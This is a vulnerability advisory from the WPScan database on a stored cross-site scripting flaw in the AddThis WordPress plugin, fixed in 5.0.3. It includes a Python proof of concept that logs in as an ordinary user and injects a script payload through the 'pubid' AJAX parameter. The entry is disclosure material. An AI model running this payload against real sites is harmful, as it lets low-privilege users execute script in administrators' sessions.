Smart Website Tools by AddThis 4.0.6-5.0.2 - Stored XSS

Sign up to our free email alerts service for instant vulnerability notifications!

Description
The Smart Website Tools by AddThis plugin exposes an AJAX function called ‘at_async_loading’ in ‘addthis/addthis-for-wordpress.php’.

Access to this function is restricted to Registered users, however is not restricted to Administrative users, meaning that anyone with an account on the target site can access this function.

Neither is the input into the ‘pubid’ parameter sanitized, meaning that arbitrary HTML or JavaScript code can be inserted. This code is then executed when a user visits the Settings page for this plugin (wp-admin/options-general.php?page=addthis_social_widget).
Proof of Concept
When executed, the following PoC will override the ‘pubid’ option with a malicious payload, which will allow execution of arbitrary JavaScript if a user visits the options page for the plugin (wp-admin/options-general.php?page=addthis_social_widget).

import requests
s = requests.session()
target = 'http://localhost'

url = '%s/wp-login.php'%target
payload = {
        "log":"test",
        "pwd":"test",
        "wp-submit":"Log+In"
}
r = s.post(url, data=payload)

url = '%s/wp-admin/admin-ajax.php'%target
payload = {
        "action":"at_async_loading",
        "async_loading":1,
        "pubid":"'><script>alert(1)</script '"
}
r = s.post(url, data=payload)

Affects

Plugin addthis
fixed in version 5.0.3

References

URL https://research.g0blin.co.uk/g0blin-00043/
URL https://plugins.trac.wordpress.org/changeset/1173656/addthis

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter James Hooker
Submitter Website https://research.g0blin.co.uk
Submitter Twitter g0blinResearch
Views 287
Verified No
WPVDB ID 8038

Timeline

Publicly Published 2015-06-10 (over 1 year ago)
Added 2015-06-10 (over 1 year ago)
Last Updated 2015-06-10 (over 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.